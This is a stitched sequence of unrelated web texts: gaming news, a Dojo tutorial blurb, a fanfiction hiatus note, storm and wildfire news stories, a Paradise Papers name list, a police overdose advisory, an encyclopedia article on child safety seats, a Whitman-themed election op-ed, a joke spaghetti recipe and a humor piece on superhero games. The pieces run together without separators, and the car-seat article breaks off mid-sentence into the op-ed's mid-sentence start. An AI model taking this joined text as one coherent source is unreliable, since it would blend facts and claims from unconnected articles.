Mass Effect: Andromeda launched on March 21 for PC, Xbox One, and PS4. In IGN's Andromeda review, we said the good game "isn't quite the shot in the arm the series needed.
Jonathon Dornbush is an Associate Editor for IGN. Find him on Twitter @jmdornbush.Building on a previous topic, we continue our ongoing series of Dojo tutorials with Advanced Charting.
Make your charts as flexible as your data
While most developers only need basic charts, dojox.charting is capable of highly advanced charts: charts with animations, charts that respond to changes in data, and charts that respond to events. In this tutorial, you will learn about using some these advanced capabilities within dojox.charting.
Check it out!
Want to learn more? Check out the tutorial.
Want to see a specific Tutorial? Want to Learn More?
Is there something you’d like to learn how to do with Dojo? Always wanted to know how something in Dojo works? Leave us a message in the blog comments and we’ll see about getting a tutorial created for you. Or sign-up for an upcoming SitePen Dojo Workshop to get a fully immersive hands-on experience with Dojo.Chapter Text
I've put this work on hold, I'm not sure if I'll even come back to it (full fledged)
Basically, I kept getting Ideas but attempting to write them into my story proved to difficult for my skill level.
I consider that my work would precede far smoother if I had a writer while I took on more of a directer role, chapter 8 being an example of how that would affect my story.
If you are curious, I have actually written down everything I have left unfinished into a google doc which i have conveniently arraigned for easy reading. You can find that here. There are spoilers inside but I've kept them behind a sign that should be enough to deter those who care about that sort of thing.
Thank you to all of you who've followed my work and supported me!
This is the last thing I want, but It's probobly for the best.Two and-a-half days after a violent wind hit the state, a Moretown man remains hospitalized at UVM Medical Center and says he's lucky to be alive.
Anthony Kessler
During the wind storm Sunday night, a large tree uprooted and fell on top of Anthony Kessler as he was asleep alone in his Yurt in Moretown. "The fight in my mind -- I remember seeing death," Kessler said. "Before I could even sit up I remembered like turning my head and watching the log come through."
The tree snapped around 9:30 Sunday night and landed on the abdomen and legs of the father of two, leaving him trapped. The log was so big, Kessler couldn't get his arms around it. "I tried all my might to pull myself out. Every time I pulled myself out more, the log settled deeper and pushed me deeper into the bed," Kessler said.
Kessler says he meditated through the crushing pain to save up his energy until the wind and rain died down enough so that someone would hopefully hear him scream for help. But no one came. "All my screaming was for nothing. They couldn't hear anything," he said.
He spent 12 hours pinned under the massive tree, until a neighbor finally spotted the damaged yurt and called for help. "I did think I was going to die," Kessler said.
It took half-a-dozen people and two hours to secure the building and safely remove the log, Kessler said. Miraculously he suffered no broken bones, but his right leg is badly damaged and he might lose it because the weight of the tree killed a lot of his tissue. "My whole life is based upon my body. My durability of body is my whole career path. I work with horses and can't really do that if you only have one leg," he said.
"It's a miracle thinking of just always counting blessings," said Melanie Kessler, Anthony's partner. The couple are also grateful the boys -- ages 3 and 5 -- weren't staying with Dad last weekend. "They usually sleep with me, and my arms one on each side of me when we go to the camp, and if they would have been there, it would have been the end of them -- but they weren't there," Kessler said.
Kessler is taking it day by day. He says his leg could recover, but he doesn't know when he will find out. He said he was thankful for the help from neighbors and fire fighters to help keep him alive.CLOSE Firefighters on Washington's Sleepy Hollow Fire have been too busy to keep an eye on all the hot spots, so the communiity grabbed their own garden hoses and took care of the job themselves. VPC
A look at the damage from the Sleepy Hollow Fire in Wenatchee on June 29, 2015, that destroyed 24 homes and three warehouse businesses. (Photo: KING)
Firefighters at a Washington wildfire that's burned 24 houses and destroyed four businesses have been so busy that they haven't been able to keep an eye on all the hot spots.
So people in one Wenatchee, Wash. neighborhood grabbed garden hoses and took care of the job themselves.
"It's kind of surreal at the moment, it's hard to process," said Eric Curry, who was spraying down the charred remains of his neighbor's house to make sure it didn't reignite and spread to other properties.
Shirley Einarsson's home of 45 years was one of three houses destroyed on one street in this town east of Seattle. The rapidly moving Sleepy Hollow Fire burned 3,000 acres in a less than a day and caused a raging fire at a cardboard recycling factory that then spread to other nearby warehouses. An ammonia leak at one plant caused a "shelter-in-place" advisory.
As of Monday night, the fire was 10% contained, and emergency management for the local county called the fire a "disaster."
Facebook Twitter Google+ LinkedIn Sleepy Hollow Fire Fullscreen Post to Facebook Posted! A link has been posted to your Facebook feed. Interested in this topic? You may also want to view these photo galleries: Replay Autoplay Show Thumbnails Show Captions Last SlideNext Slide
"It's probably really going to hit me harder in a few days when I realize I don't have anything," Einarsson said.
She lost a generation of belongings and gained a new level of appreciation for the people next door, who were there for her from the moment the flames approached.
She was asleep when the fire reached her neighborhood.
"Our neighbor Alex was pounding on Shirley's door because he knew she was in here," said Curry.
Einarsson finally woke up, minutes before her house burned.
"He saved her life," said Curry.
"We have a wonderful neighborhood, it's just fabulous," said Einarsson, who planned to spend the day shopping for new clothes.
"No point in crying, they were just things," she said, "they weren't life."
Fire crews are concentrating on preventing any more homes from being burned. Crews were working to put out hot spots in already burned areas, while keeping an eye on winds that could fan flames again.
A light rain fell on the area early Monday morning, giving firefighters some help. But the rain stopped later in the morning.
There were no serious injuries reported but some firefighters were treated for heat exhaustion and smoke inhalation.
The cause of the fire is not yet known.
Related: Complete wildfire coverage on KING5.com
Contributing: The Associated Press, KING staff
Read or Share this story: http://usat.ly/1LROKvXCountries with politicians, public officials or close associates implicated in the leak on 5 November 2017
This is a list of people and organisations named in the Paradise Papers as connected to offshore companies.[1] International Consortium of Investigative Journalists had stated in their politicians database as disclaimer, that "There are legitimate uses for offshore companies and trusts. We do not intend to suggest or imply that any people, companies or other entities included in the ICIJ Offshore Leaks Database have broken the law or otherwise acted improperly. "
Government officials [ edit ]
Current or former heads of state or government of their country as defined by their political position at the time of announcement, not whether the documents in the Papers relating to them coincided with their period of office.
Heads of state [ edit ]
Former heads of state
Heads of government [ edit ]
Former heads of government
Cabinet officials [ edit ]
Argentina
Brazil
India
Kazakhstan
Kenya
Lebanon
Adnan Kassar, former Minister of State and Minister of Economy and Trade[21]
Mexico
Serbia
United States
Members of legislatures [ edit ]
Canada
Leo Kolber, former member of the Senate[30]
European Union
India
Iraq
Mudhar Shawkat, former member of the Council of Representatives[34]
Japan
Mexico
Nigeria
Russia
Alexey Ezubov, member of the State Duma [36]
Aleksandr Skorobogatko, former member of the State Duma[21]
Spain
Ukraine
Anton Pryhodsky, former member of the Verkhovna Rada[9]
United Kingdom
Other government officials [ edit ]
El Salvador
India
Indonesia
Saudi Arabia
Spain
United States
Relatives and associates of government officials [ edit ]
Canada
Stephen Bronfman, close friend of Prime Minister Justin Trudeau[45]
Ghana
Greece
Indonesia
Tommy and Mamiek Suharto, children of former President Suharto[42]
Israel
Jonathan Kolber, son of Canadian senator Leo Kolber and former CEO of Koor Industries and the beneficiary of the Kolber Trust.[48]
Jordan
Montenegro
Ana Kolarević, sister of former Prime Minister and President Milo Đukanović[9]
Russia
Spain
Turkey
Erkam and Bulent Yildirim, sons of Prime Minister Binali Yıldırım[9]
United Kingdom
Non-government officials and other people [ edit ]
Businesspeople [ edit ]
Andorra
Argentina
Alan Faena, hotelier and real estate developer [54]
Ignacio Jorge Rosner, businessman and financier[62]
Australia
Canada
Croatia
Danko Končar, the majority shareholder of the Afarak Group.[66]
France
Germany
Greece
Iceland
India
Israel
Dan Gertler, founder and president of Dan Gertler International Group [72]
Idan Ofer, founder of Tanker Pacific and principal of Quantum Pacific Group[72]
Kazakhstan
Nurzhan Subkhanberdin, banker and former chairman of Kazkommertsbank [19] [73]
Nina Zhussupova, member of the board of directors of Kazkommertsbank[19][73]
Mexico
Pakistan
Russia
Saudi Arabia
Spain
Sweden
Syria
United Kingdom
United States
Zambia
Hakainde Hichilema, businessman and politician[100]
Entertainment personalities [ edit ]
Australia
Canada
Colombia
France
India
Ireland
Japan
Spain
United Kingdom
United States
Other [ edit ]
Mexico
Spain
Fernando Alonso, and his manager, Luis García Abad[116]
United Kingdom
Lewis Hamilton, Formula One driver[117]
Organisations [ edit ]
Companies [ edit ]
Argentina
CAMMESA (Compañía Administradora del Mercado Mayorista Eléctrico) [13]
Macri Group[55]
Australia
Barbados
Shell Western Supply and Trading Limited, subsidiary of Royal Dutch Shell[13]
Bermuda
Brazil
Canada
Democratic Republic of the Congo
Finland
Germany
Greece
India
Isle of Man
Panama
Russia
Singapore
South Africa
Switzerland
Ukraine
United Kingdom
Barclays [134]
Diageo [31]
Linklaters [31]
Sol Antilles y Guianas Limited, subsidiary of Royal Dutch Shell [13]
Somerset Capital Management[39]
United States
Universities [ edit ]
Canada
United Kingdom
United States
See also [ edit ]Grande Prairie, Alberta: Between 5 p.m. on Tuesday June 27 and 8 a.m. today (June 28, 2017) Grande Prairie RCMP and Alberta Health Services (AHS) EMS responded to seven overdose calls. So as to protect patient confidentiality, no further information will be released on these responses.
Grande Prairie RCMP is reminding those who engage in illegal drug use to exercise extreme caution when purchasing and using illicit drugs. With the rise of new and more dangerous drugs on the streets it is crucial to understand the risks you are taking. The purity and potency of illegal substances is always a factor in overdoses. We are seeing an increase in the potency of the drug being sold on the streets, and at times it is mixed with fentanyl which in turn creates a very powerful narcotic.
“If you are going to use drugs, we urge you to please take steps to reduce your risk of harm,” says Dr. Albert de Villiers, Medical Officer of Health – AHS. “Don’t use fentanyl, or any other drug, while alone; start using in small amounts and avoid speedballing; always carry a naloxone kit, and finally: call 911 if you or someone around you suspects a person is experiencing an overdose. That call can save a life.”
Individuals experiencing overdose can show the following symptoms:
breathing slowly or not breathing at all;
nails and/or lips are blue;
choking or throwing up;
making gurgling sounds;
skin is cold and clammy.
Call 911 if a person is showing any of the above symptoms.
For more information on opioid overdose or where to get Naloxone visit, www.stopods.ca
All illegal drugs are not tested and do not meet any safety standards. Products manufactured illegally can lead to serious personal injuries, even death. The RCMP is committed to investigating cases of alleged illegal drug importation in Canada, illegal drug manufacturing and trafficking across Canada.
As in any criminal case and drug investigation, we encourage members of the public to call police if they have information which may assist the police in their community or, if they wish to remain anonymous, call Crime Stoppers (1-800-222-8477 (TIPS)).
Grande Prairie RCMPChild safety seat, produced by Volvo
A child safety seat is a seat designed specifically to protect children from injury or death during vehicle collisions. Most commonly these seats are purchased and installed by car owners, but car manufacturers may integrate them directly into their vehicle's design and generally are required to provide anchors and ensure seat belt compatibility. Many jurisdictions require children defined by age, weight, and/or height to use a government-approved child safety seat when riding in a vehicle. Child safety seats provide passive restraints and must be properly used to be effective. However, research indicates that many child safety restraints are often not installed or used properly.[1] To tackle this negative trend, health officials and child safety experts produce child safety videos to teach proper car seat installation to parents and caregivers.[citation needed]
In 1990, the ISO standard ISOFIX[2] was launched in an attempt to provide a standard for fixing car seats into different makes of car. The standard now includes a top tether; the U.S. version of this system is called LATCH. Generally, the ISOFIX system can be used with Groups 0, 0+ and 1.
In 2013, a new car seat regulation was introduced: “i-Size” is the name of a new European safety regulation that affects car seats for children under 15 months of age. It came into effect in July 2013 and provides extra protection in several ways, most notably by providing rearward facing travel for children up to 15 months instead of 9 to 12 months, which the previous EU regulation advised.
History [ edit ]
Since the first car was manufactured and put on the market in the early 1900s, many modifications and adjustments have been implemented to protect those that drive and ride in motorized vehicles. Most restraints were put into place to protect adults without regard for young children. Though child seats were beginning to be manufactured in the early 1930s, their purpose was not the safety of children. The purpose was to act as booster seats to bring the child to a height easier for the driving parent to see them. It was not until 1962 that two designs with the purpose of protecting a child were developed independently.[3] British inventor Jean Ames created a rear-facing child seat with a Y-shaped strap similar to today's models.[4] American Leonard Rivkin, of Denver Colorado, designed a forward-facing seat with a metal frame to protect the child.[5] It is noted that seat belts for adults were not standard equipment in automobiles until the 1960s.
Classifications [ edit ]
Child safety seats
There are several types of car seats, which vary in the position of the child and size of the seat. The United Nations European Regional standard ECE R44/04[6] categorizes these into 4 groups: 0-3. Many car seats combine the larger groups 1, 2 and 3. Some new car models includes stock restraint seats by default.
Group 0 [ edit ]
Infant Car Seat
Group 0 baby seats, or infant carriers, keep the baby locked up in a rear-facing position and are secured in place by a standard adult seat belt and/or an ISOFIX fitting.
Group 0 carrycots hold the baby lying on its back.
Carrycots are secured by both seat belts in the rear seat of the car. Both types have handles to allow them to be easily moved into and out of the car.
Position: Laying (in carrycots), rear-facing (in infant carriers), no airbags (with the exception of curtain airbags).
Recommended weight: Birth to 10 kg (22 lb)
Approximate age: Birth to 15 month
Car Seat - Middle Back Seat
Car Seat - Not in Front Seat
Fastened carrycots [ edit ]
Carrycots or infant car beds are used for children that cannot sit in a regular baby seat, such as premature infants or infants that suffer from apnea. A carrycot is a restraint system intended to accommodate and restrain the child in a supine or prone position with the child's spine perpendicular to the median longitudinal plane of the vehicle. Carrycots are designed to distribute the restraining forces over the child's head and body, excluding its limbs, in the event of a big crash. It must be put on the rear seat of the car. Some models can be changed to face forward after the baby has reached the weight limit which is normally about 15-20 kilograms.
Carrycots generally include a stomach belt and a connection to the (three points) safety belt.
Infant carriers [ edit ]
Rear-facing infant car seat
'Infant carrier' means a restraint system intended to accommodate the child in a rearward-facing semi-recumbent position. This design distributes the restraining forces over the child's head and body, excluding its limbs, in the event of the frontal collision.
For young infants, the seat used is an infant carrier with typical weight recommendations of 5-20 lb. Most infant seats made in the US can now be used up to at least 22 pounds (10.0 kg) and 29 inches (74 cm), with some going up to 35 pounds (16 kg). In the past, most infant seats in the US went to 20 pounds (9.1 kg) and 26 inches (66 cm). Infant carriers are often also called "Bucket Seats" as they resemble a bucket with a handle. Some (but not all) seats can be used with the base secured, or with the carrier strapped in alone. Some seats do not have bases. Infant carriers are mounted rear-facing and are designed to "cocoon" against the back of the vehicle seat in the event of a collision, with the impact being absorbed in the outer shell of the restraint. Rear-facing seats are deemed the safest, and in the US children must remain in this position until they are at least 1 year of age and at least 20 pounds (9.1 kg). although it is recommended to keep them rear-facing until at least 2 years old or until they outgrow the rear-facing car seat height and weight, whichever is longer.
Group 0+ [ edit ]
Group 0+ car seats commonly have a chassis permanently fixed into the car by an adult seat belt and can be placed into some form of baby transport using the integral handle if it is the specific model. Rear-facing child seats are inherently safer than forward-facing child seats because they provide more support for the child's head in the event of a sudden deceleration. Although some parents are eager to switch to a forward-facing child seat because it seems more "grown up," various countries and car seat manufacturers recommend that children continue to use a rear-facing child seat for as long as physically possible[7]
Position: Sitting, rear-facing, no airbag (with the exception of curtain airbags).
, (with the exception of curtain airbags). Recommended weight: Birth (2–3 kg) to 13 kg (29 lb).
(29 lb). Approximate age: Birth to 15 months
Convertible seats [ edit ]
Convertible Car Seat (Toddler)
Convertible seats can be used throughout many stages. Many convertible seats will transition from a rear-facing seat, to a forward-facing seat, and some then can be used as a booster seat. Many convertible seats allow for 2.3–18 kg (5-40 lb.) rear-facing, allowing children to be in the safer rear-facing position up to a weight of 18 kg (40 lbs).
Convertible safety seats can be installed as either rear-facing or forward-facing. There is a large selection available to choose from and weight limits, height limits, and extra features vary from seat to seat and by manufacturer. Seats with a 5-point harness are considered safer than those with an overhead shield[8]
Convertibles aren't considered the best choice for a newborn because the bottom harness slots are often above the shoulders of most newborns. A seat with low bottom harness slots can be used if it is desired to use a convertible from birth.
Rear-facing weight limits range from 9 to 23 kg (20 to 51 lb) depending on the manufacturer and country of origin. Forward-facing limits range from 9 to 40 kg (20 to 88 lb) depending on the seat model and the manufacturer and country of origin.
Most convertible seats in the U.S. have at least a 16 kg (35 lb) rear-facing weight limit, most now to go to 18 kg (40 lb), some 20 kg (44 lb) and a few 23 kg (51 lb). The American Academy of Pediatrics (AAP) recommends that children remain rear-facing until they outgrow their convertible seat, regardless of how old they are. Children can remain in a rear-facing seat until they have either outgrown the weight limit for their seat, or the top of their head is within 25 mm (1 in) of the top of the shell of the car seat.[9]
Group 1 [ edit ]
A permanent fixture in the car using an adult seat belt to hold it in place and a five-point baby harness to hold the infant.
Position: Sitting, recommended rear-facing but forward-facing is legal, no airbag (with the exception of curtain airbags).
(with the exception of curtain airbags). Recommended weight: 9 kg to 18 kg (20 lb to 40 lb)
(20 lb to 40 lb) Approximate age: 9 months to 4 years (Although older children can fit too sometimes)
It is recommended that children sit rear-facing for as long as possible. In Scandinavian countries, for example, children sit rear-facing until around 4 years old. Rear-facing car seats are significantly safer in frontal collisions, which are the most likely to cause severe injury and death.[10][11][12][13][14][15][16][17][18][19][20] Rear-facing group 1 car seats are becoming more widespread but are still difficult to source in many countries.
Group 2 [ edit ]
A larger seat than the Group 1 design. These seats use an adult seat belt to hold the child in place.
Position: Sitting, forward-facing or rear-facing (make sure the seat is certified for up to 25 kg)
Recommended weight: 15 kg to 25 kg (33 lb to 55 lb)
(33 lb to 55 lb) Approximate age: 4 to 6 years (Although older children can sometimes fit)
Group 3 [ edit ]
Also known as booster seats, these position the child so that the adult seat belt is held in the correct position for safety and comfort.
Position: Sitting, forward-facing
Recommended weight: 22 kg to 36 kg (48 lb to 76 lb)
(48 lb to 76 lb) Approximate age: 4 to 10, and above if the child is not 36 kg yet
Booster seats [ edit ]
Booster seats are recommended for children until they are big enough to properly use a seat belt. Seat belts are engineered for adults, and are thus too big for small children. In the United States, for children under the age of 4 and/or under 40 pounds (18 kg), a seat with a 5-point harness is suggested instead of a booster seat.[21]
Booster seats lift the child and allow the seat belt to sit firmly across the collar bone and chest, with the lap portion fitted to the hips. If the seat belt is not across the collar bone and the hips, it will ride across the neck and the stomach and cause internal injuries in the event of a collision.
There are two main types of boosters: high back (some of which have energy absorbing foam) and no back. A new generation of booster seats comes with rigid Isofix (Latch) connectors that secure to the vehicle's anchors, improving the seat's stability in the event of a collision.
The consumer group[which?] is calling on manufacturers and retailers to phase out backless boosters, as it says they don't provide enough protection in side-impact crashes and could put children at risk.[22] So while backless booster cushions are better than using no child seat at all, they do not provide adequate protection in all circumstances.
Front-facing restraints [ edit ]
Used for Groups I, II and III.
After reaching one year of age and 20 pounds (9.1 kg), children may travel in forward-facing seats. Most Scandinavian countries require children to sit rear-facing until at least the age of 4 years. This has contributed to Sweden having the lowest rate of children killed in traffic in international comparisons.[23]
By law (in Canada and some US states), children need to be restrained until they are 4-years old and 40 pounds (18 kg). After the requirement is met, they can move into a booster seat.
Safety information [ edit ]
All child restraints have an expiration date. Seats can expire 6 years from the date of manufacture, although this can vary by manufacturer. Expiration dates are highly debated, with proponents and manufacturers claiming that older car seats can degrade over time to be less effective and that changing laws and regulations necessitate an expiration date. Opponents argue that it is simply for their legal protection and to sell more car seats, and point out that manufacturers have noted that the plastics in most car seats long outlast the expiration date. As ageing is due to temperature swings and UV-light, a seat ages faster in a car than in a cool, dark cellar.
Like motorcycle and race car helmets, child restraints are tested for use in just one crash event. This means that if the restraint is compromised in any way (with or without the child in it), owners are strongly suggested to replace it. This is due to the uncertainty with how a compromised child restraint will perform in subsequent crashes.[citation needed]
The National Highway Traffic Safety Administration (NHTSA) provides guidance on the reuse of child restraint systems after a crash. Replacement of child restraints is recommended following a moderate or severe crash in order to ensure a continued high level of protection for child passengers. However, recent studies demonstrate that child restraints can withstand minor crash impacts without any documented degradation in subsequent performance.[24]
A minor crash is defined by the NHTSA as one in which all of the following apply:
A visual inspection of the child safety seat, including inspection under any easily movable seat padding, does not reveal any cracks or deformation that might have been caused by the crash
The vehicle in which the child safety seat was installed was capable of being driven from the scene of the crash
The vehicle door nearest the child safety seat was undamaged
There were no injuries to any of the vehicle occupants
The air bags (if any) did not deploy
Crashes that meet all of these criteria are much less severe than the dynamic testing requirement for compliance with Federal Motor Vehicle Safety Standard (FMVSS) 213 and are highly unlikely to affect future child safety seat performance.[24]
Child restraints are sometimes the subject of manufacturing recalls.[25] Recalls vary in severity; sometimes the manufacturer will send an additional part for the seat, other times they will provide an entirely new seat.
The purchase of a used seat is not recommended. Due to the aforementioned concerns regarding expiry dates, crash testing, and recalls, it is often impossible to determine the history of the child restraint when it is purchased second-hand.
Children traveling by plane are safer in a child safety seat than in a parent's arms. The FAA and the AAP recommend that all children under 40 lb use a child safety seat on a plane. Booster seats cannot be used on airplanes because they don't have shoulder belts.
Parents should not put children into safety seats with thick winter coats on. The coat will flatten in an accident and the straps will not be snug enough to keep the child safe.[26] An alternative would be placing a coat on the child backwards after buckling the child in.
Straps on the harness should be snug on the child, parents should not be able to pinch the straps away from the shoulders of the child. The straps also need to be placed at the proper height for the child.
Seat placement [ edit ]
A study of car crash data from 16 U.S. states found that children under the age of 3 were 43% less likely to be injured in a car crash if their car seat was fastened in the center of the back seat rather than on one side. Results were based on data from 4,790 car crashes involving children aged 3 and younger between 1998 and 2006. According to data, the center position was the safest but least used position. However, economist Steven Levitt (see below) has demonstrated that car seats do not reduce fatalities when compared to regular seat belts.[27]
The move from having car seats in the front passenger seat to having them in the back seat, facing backwards, may make it easier for a busy, distracted parent to leave an infant in the car.[28] Each year, between 30 and 50 infants die of heat illness and hypothermia in the United States after being left in a car.[28]
Law [ edit ]
Child safety postage stamp of Russia showing a child safety seat.
Baby car seats are legally required in many countries, including most Western developed countries, to safely transport children up to the age of 2 or more years in cars and other vehicles.
Other car seats, also known as "booster seats," are required until the child is large enough to use an adult seat belt. This is usually, but not always, when the child is 1.49 (4ft 9in) tall. The child needs to meet five criteria before moving out of the booster seat, including the child's seating position, shoulder belt position, lap belt position, knee position, and ability to sit properly for the length of the trip.
Generally, countries that regulate passenger safety have child safety laws that require a child to be restrained appropriately depending on their age and weight. These regulations and standards are often minimums, and with each graduation to the next kind of safety seat, there is a step down in the amount of protection a child has in a collision.[29] Some countries, such as Australia and the United States, forbid rear-facing child seats in a front seat that has an airbag. A rear-facing infant restraint put in the front seat of a vehicle places an infant's head close to the airbag, which can cause severe head injuries or death if the airbag deploys. Some modern cars include a switch to disable the front passenger airbag for child-supporting seat use.
Europe [ edit ]
Directive 2003/20/EC of the European Parliament and the Council[30] has mandated the use of child-restraint systems in vehicles effective May 5, 2006. Children less than 135 centimetres (53 in) tall in vehicles must be restrained by an approved child restraint system suitable for the child's size.[31] In practice, child restraint systems must be able to be fitted to the front, or other rows of seats. Children may not be transported using a rearward-facing child restraint system in a passenger seat protected by a front air bag, unless the air bag has been deactivated.[citation needed]
For a child restraint to be sold or used within any of the 56 UNECE member states it must be approved by the standards of UNECE Regulation 44/04, Directive 77/541/EEC or any other subsequent adaptation thereto. In order to be granted ECE R44 approval the child restraint must comply with several design, construction and production conformity standards.[32] If approval is granted the seat can display an orange label with the unique approval license number, the type of approval, the mass group approved for and the details of the manufacturer.
However, until May 9, 2008 member states may have permitted the use of child restraint systems approved in accordance with their national standards. EuroNCAP has developed a child-safety-protection rating to encourage improved designs. Points are awarded for universal child-restraint anchorages ISOFIX, the quality of warning labels and deactivation systems for front-passenger airbags.
2013: New EU I-Size regulation is introduced: “i-Size” is the name of a new European safety regulation, UNECE Regulation 129 that affects car seats for children under 15 months of age. It came into effect in July 2013 and provides extra protection in several ways, most notably by providing rearward facing travel for children up to 15 months instead of 9 to 12 months, which the previous EU regulation advised. Read more about I-Size. This new regulation is to be phased in between 2013 and 2018 and will be run in parallel to UNECE R44/04 until 2018 when it completely supersedes it.
Australia [ edit ]
AS1754
Australian laws regarding infants in motor vehicles were revised on November 9, 2009.[citation needed]
By law every child restraint sold in Australia must carry the Australian Standard AS/NZ1754 sticker (pictured right). Most overseas child restraints, including restraints from Europe and the USA, do not comply with these Standards and cannot legally be used in Australia. This also applies for ISOFIX child restraints imported from Europe or |
every judgment. He likened money-making to the “magician’s serpent that ate up all the other serpents.” For all the praise that America deserves for “uplifting the masses out of their sloughs in materialistic development,” Whitman worried that Americans had created a “thoroughly-appointed body with no soul.” A soulless culture, Whitman warned, can easily give rise to manipulative tyrants.
Trump’s entrance onto the political landscape took advantage of the American worship of wealth, and now his vision of American greatness, is that of a body without a soul. The words of Abraham Lincoln imagining and celebrating a government “by, of, and for the people” became the benchmark of political excellence to Whitman, but not without the caveat that a culture of democracy is necessary to make the people fit for self-rule.
“The People are ungrammatical, untidy, and their sins gaunt and ill-bred,” Whitman acknowledged but not without the faith that the “miracle” of original identity, the “luminousness of real vision,” is within everyone’s grasp. The requirements for such an achievement are energy and investment. Democracy, Whitman explained, is “life’s gymnasium. “Freedom’s athletes” come out of the “training school” of political democracy.
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Breaking with every imaginable convention in 1871, Whitman wrote that life’s gymnasium would suffer from decay and forever prove inadequate if women remained in secondary roles. It was not only important for women to gain equality with men but also to emerge as leaders alongside men. He wrote of women who defied the stereotypes of subordinate to male authority and called even then for “something more revolutionary.”
Whitman wrote, “The day when the deep questions of woman’s entrance amid the arenas of practical life, politics, and suffrage will not only be argued all around us, but may be put to decision, and real experiment.”
Democratic nominee Hillary Clinton is poised to take the presidency and enhance the experiment of women in leadership at the highest level, as many women mayors, governors, senators, CEOs, professors, doctors and mothers demonstrate strength and wisdom. Trump — and the chauvinism that he represents — displays belief in nothing, fear of competition and the untidy sin of vulgar reduction of humanity to category.
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Enriching the democracy of America, and overcoming the nihilism that threatens it, necessitates what Ed Folsom, a Whitman scholar, calls “urban affection.” How do you respect and even have affection for strangers walking past you on city sidewalks? How does democracy begin, in Whitman’s words, to “freely branch and blossom in every individual?”
The choice between a candidate who can make a healthy contribution to that process and another who can only degrade it is almost too obvious for description. More important is the cultural life that will evolve or devolve after the next president takes the oath of office. Whitman did not seek hope in, what he called, “half-brained nominees, ignorant failures, and elected blatherers.” Instead, he found fortification for his faith in the arts and his belief that the arts could help create the culture of democracy so vital to the full exercise of political democracy.
Good art and good literature share certain features, Whitman argued, and it was these features that would prove most useful in the steady realization of the promise of the United States as a country and united states within each person. In "Leaves of Grass," Whitman declared that he was the poet of the body and the soul. The temptation to compartmentalize is part of the disease infecting both the pursuit of happiness within each life and within the national life.
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There are “invisible roots” connecting all experience, all spirits and forms, and Whitman advocated for the exploration of these roots. “To absorb and again effuse it, uttering words and products as from its midst, and carrying it into highest regions, is the work, or a main of the work, any country’s true author, poet, historian, lecturer, and perhaps even priest and philosopher,” he wrote.
Art that accomplished the discovery and description of our invisible roots is what has the power to strengthen and unite Americans. The critical inquiry then becomes one of cultural agenda. Is America building an infrastructure for artists, historians and even priests and philosophers to find the invisible roots of our citizenship and humanity? If not, future incarnations of Donald Trump – perhaps more politically savvy and less given to self-sabotage — will soon gain control.
There are two hindsight perspectives on Whitman’s prescience in 1871. One is to consider how many problems still persist and adopt a cynicism that leads only to paralysis. The “nothing will ever change” attitude not only ignores history but also shapes history. One can only imagine if the contributors to movements for civil rights, women’s rights and LGBT rights withdrew from American culture and politics because they thought all improvements were out of the question.
The other is to not fixate solely on the distance left to climb but to look back and take scale of the walls already mounted. The Whitman vision of equality and unity through diversity and individuality seems utopian, but it is important to consider how many voices have already found amplification in the “sign of democracy” that were once muted. As simple as it seems to say, things are getting better and they have been for a long time.
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In "Leaves of Grass," Whitman wrote, “Logic and sermons never convince/ The damp of the night drives deeper into my soul.” There is an important election on Nov. 8, and all responsible citizens should vote. It is just an election, though. Then we have the rest of our lives.
The true power of Whitman’s imaginative and inspired hope for America is that it is a rest-of-our-lives hope. How do we want the American night to drive into our souls? Will we feel an elevation of the spirit or further dejection?
The president makes a lasting contribution to the American night, but so does each citizen, and there exists a collective responsibility to construct the culture and cultivate the arts that will make that night starlit, beautiful and sensual, rather than dark, arid and frightening.Many home chefs (pointing a finger right at myself here) get bogged down with complicated recipes. But a delicious meal doesn’t have to be difficult.
Here’s my recipe for Spaghetti alla Riccardo — but there’s a twist:
1) Buy spaghetti. Any brand will do, I haven’t found a bad one yet. I don’t want to endorse any specific products here but Garofalo, the kind they sell at Costco, is delicious and shares a name with Janine Garofalo, a comedienne who’s given me her fair share of laughs.
2) Buy sauce. Ideally on the same trip to the store as (1). Again, I can’t recommend specific products due to the Splettnet code of ethics, but Ragu has been around for a long time for a reason. Prego is also delicious. If you’re already at Costco, well: Kirkland may not be the most Italian name, but I’ll be surprised if you find yourself disappointed.
3) Boil water. Simple, just put water in a pot. Not too much, don’t want it to boil over. Trust your gut.
4) Add spaghetti to sauce. Your spaghetti package will say how long to cook it for. You can trust them, they’re on your team.
5) Put something else in the sauce. Wasn’t expecting that, were you? Here’s where it gets interesting. If you put a chopped up zucchini into the sauce, well then you’ve made Spaghetti alla Riccardo. But if you put anything else? Anything you like? Then guess what? You’ve made Spaghetti alla You. An onion? Garlic? An apple? Sounds crazy, but it’s your dinner.
6) Heat up the sauce. I usually do this in my pan.
7) Strain spaghetti. This is the most fun part, in my opinion.
8) Put sauce on the spaghetti. Not too much. Remember: the number one way to spoil spaghetti is too much sauce. On the other hand the number two way is not enough sauce.
9) Enjoy.On paper, the superhero video game seems like a genre that would produce perfect blend after perfect blend of established characters and fun. Instead, we're forced to treat the good ones like an ex that, you know, just wants to chill, get dinner, and catch up. There's such an optimistic enthusiasm for games like the Batman: Arkham series, and everything seems to be going really well until we discover the latest Spider-Man misfire getting to second base with a bartender in the restroom.
They're Plan B pills that you take after a lifetime of enjoying a comic character, and they remove more fun than usual non-fun exercises in superheroes, like superhero puzzles or any Thor movie. Why do they hate us when we want so badly to love them? Well, for starters...
#5. They Often Present Lamer Versions Of The Movies
Activision
The two films in the Amazing Spider-Man series were a cold reminder to movie executives that no one really likes a movie universe if you take great pains to suck the charm out of it. At one point, the Spider-Man series was the most popular of all the superhero franchises, and the people behind the Amazing Spider-Man films did everything they could to make sure that that shit didn't happen again. The games based off of the Amazing movies do the same thing in relation to past Spider-Man games. They show so little indication that the creators know what makes Spider-Man cool that they may have been developed by J. Jonah Jameson.
Activision
"Sup. My name's Chad Parker. People who didn't like Batman V. Superman just couldn't handle how dark it was."
Just look at Peter Parker's stupid noggin. That's meant to resemble actor Andrew Garfield, but I don't know who thought Garfield would look best after having a larger skull shoved into his own skull. He doesn't have to look one specific way, but I start to question how much someone actually gives a shit about underdog Spider-Man when Peter Parker resembles the guy from your marketing course who always asks to borrow the notes you took in the last class.
These movie-based games can never muster up anything greater than "You're playing as a thing that has the same name as that thing you like! Isn't that enough for you goddamn nerds?" And if your idea of ultimate joy is knowing that the red-and-blue guy you're clumsily controlling on screen was in a movie you just saw, you'll dig them. If you need more to validate your purchase, they're like a visit from drunk Santa. On one hand, yay, Santa's here. On the other, Santa just puked into the back of his truck.
karenwarfel/Pixabay
On Dasher. On Dancer. On Oxycontin.
